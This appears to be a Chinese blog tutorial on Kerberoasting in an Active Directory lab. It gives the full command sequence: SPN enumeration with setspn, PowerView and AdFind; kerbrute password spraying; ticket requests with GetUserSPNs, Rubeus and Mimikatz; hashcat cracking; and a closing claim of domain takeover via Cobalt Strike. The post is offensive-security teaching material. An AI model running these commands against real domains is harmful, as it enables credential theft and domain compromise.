域内攻击 -----> Kerberoasting

在域中,能拿到账户信息得攻击基本上有四个

  • 域内用户枚举
  • 域内密码喷洒
  • Kerberoasting
  • AS-REP Roasting

对于AS-REP Roasting,我们下一篇文章讲,而前两个,请参考我以前域内横向移动得文章。

那么我们今天就来聊聊Kerberoasting

1.SPN

对于SPN可能大家感觉没有接触过,但是举个例子大家包懂得

setspn -Q */* 

这个命令用来查询域中的注册了SPN的机器和账户

我们可以看见在域中的三台机器都注册了对应的SPN,像我们熟悉的CIFS服务以及HOST,LDAP,通过这些服务,我们才能对对应的主机进行查看,复制文件,运行计划任务等。

但是,只有机器账户才能有SPN吗???   

那包不是的,普通的用户也能注册SPN

2.SPN的注册

通过以下命令,我们可以给机器用户和域用户注册SPN

setspn -U -S HTTP/机器名   用户名      
setspn -C -S HTTP/机器名   机器名

第一条命令,就是给用户进行注册SPN,那么我们来试一下

这样,就是给SEC个用户注册了SEC这台机器的一个SPN,我们再去查看一下

可以看见除了我们刚才设置的SPN以外还有一个krbtgt的也是被设置了SPN

3.ServerHash

我相信你们一定对上面的命令很好奇,甚至有点疑惑,下面我就来解释一下

那上面这个机器的SPN来说,它的ServerHash就是这台机器的哈希,在Kerberos中,ST中的一部分就是用的这个机器的哈希来进行加密的!!

而对于我们刚才在SEC机器上用SEC用户注册的SPN,在Kerberos中,ST中的一部分就是用的SEC这个用户的NTLMhash进行加密的!!

所以,机器注册SPN和用户注册SPN的区别就是Kerberos在TGS-REQ阶段中,当用户发送了一张TGT之后,KDC上的TGS就会去域内查询对应的SPN,并找到对应的哈希加密ST

4.Kerberoasting原理

第一个好理解,我们来看看第二个!

我们知道在TGS-REP中,KDC上的TGS会返回一张ST,但是,其实这张ST,无论用户是否有访问的权限也是会返回的,我们去Wireshark 看看

  • 域控SUBDC.RCE.ORG
  • 域内普通用户 WIN7.RCE.ORG

我们先用一个普通用户去申请一张域控上的ST(即使我们没有权限访问)

kerberos::ask /target:host/subdc.rce.org

然后我们去wireshark查看

然后我们主要看TGS-REP这个数据包

下面这个就是subdc.rce.org的Server哈希加密的ST部分内容,上面就是用的CT_sessionkey加密的一把CS_sessionkey,我们要破解的,就是下面这个用Serverhash加密的内容!

5.SPN的探测

对于Kerberoasting,我们破解的,是用户注册的SPN!!!为什么不是破解机器注册的SPN呢??明明机器的SPN天生注册,域内用户还不一定注册了SPN

  ::: ????

 :::那是因为机器的哈希是十多位的随机数字,一般破不开 ,而且还是随机生成的,所以我们就要破解相对容易破解的用户的哈希!!!

那么怎么探测SPN呢?? 最简单就是通过这一条命令

shell setspn -Q */*

这个是最简单的能获取SPN的方法 

然后就是使用我们的Powerview脚本,这里我采用无文件落地的形式去探测

powershell-import PowerView.ps1
powershell Get-NetUser -SPN

 这个也是可以找到的

当然也包可以用ADFind的啦

对于域内机器

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)" servicePrincipalName

对于工作组机器,你就要知道一个用户的账号和密码,以及域控的位置了

什么?? 你怎么知道域馆在哪 ???  Nbtscan是能扫出来的(精准定位到域馆)

首先我们来一台加入到域,但是处于工作组环境的主机,并且给他上线到CS

然后我们上传NBTscan,并且去扫,就能发现能精准定位到域控

然后就是通过喷洒获取域内用户的密码了,这里常规的插件 都不能对工作组进行操作

所以我们就要使用这款强大的工具  -->kerbrute !!

shell kerbrute.exe passwordspray -d 域名 用户字典 密码

这样,就算我们在工作组也是能通过域内密码喷洒拿到一个用户的密码的 

然后我们就可以用ADFind去查询了!!!

shell Adfind.exe -h 192.168.111.138:389 -u 二级域名\用户名 -up 刚才喷洒出来的密码 -f  "&(servicePrincipalName=*)" servicePrincipalName

成功探测出SPN

·

当然了,如果你能通过喷洒出密码的话,那么其实就不用Kerberoasting这么麻烦了!

6.获取高权限用户的SPN

我们众所周知,我们在域内,最重要的就是找域馆,所以我们就要看看域管理员组有没有注册了SPN的用户!!!  其实就是上面的命令加多一个约束条件

shell Adfind.exe -b "dc=rce,dc=org" -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName

这时候我们就能看见Krbtgt的用户,但是它的密码也是随机生成的,我们也不能破解, 

但是不明白为什么,明明我有一个注册了高权限用户的SPN,但是找不出来。。。

所以这也给了我们一个思路,如果发现了一个用户注册了SPN,判断是否高权限还可以通过这届查询这些管理员组进行判断!

7.获取用户ST票据

对于申请ST票据,有很多方法,下面来讲几种

首先我们来一台工作组的电脑

  • 192.168.111.144 STU1$

以及一个域内用户

  • 192.168.111.132 WIN7$ 

1.GetUserSPNs

这个工具强大了,域内或者工作组都能用!!!

但是前提还是要你知道一域内用户的密码

shell GetUserSPNs.exe -request -dc-ip 192.168.111.138 rce.org/win7:hongrisec@2024  -outputfile 1.txt

这样工作组也能成功获取到对应的ST (不指定用户就是所有SPN的注册用户)

2.Rubeus

这个对电脑的.net需要一点配置,所以如果能用,就最好,用不了,就换一种(只能域用户)

shell Rubeus.exe kerberoast /format:john  /outfile:hash.txt

也是能成功拿到 

3.Mimikatz

最后就是我们的mimikatz啦!!!这个工具是真的强大好吧,不过也是只能用于域用户!

mimikatz kerberos::purge
shell klist purge

缺点就是你需要提权,这个就要看对面用什么机器了!!  

然后我们直接去申请票据

mimikatz kerberos::ask /target:web/sec.rce.org
mimikatz kerberos::list  /export

8.破解ServerHash

破解ServerHash,网上有很多的脚本,这里我们采用hashcat!!

hashcat.exe -m 13100 Serverhash 密码字典

由于我本机的Win11不知道为什么用不了Hashcat,所以我就直接贴密码了(你们去破,只要自字典强大,包能破出来的)

password : admin@123

9.通过Kerberoasting控制整个域

由于我们上一步获取到了高权限的SPN,所以剩下的就是无脑上线了!

这里就不在赘述了,CS上点几点就好!

  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值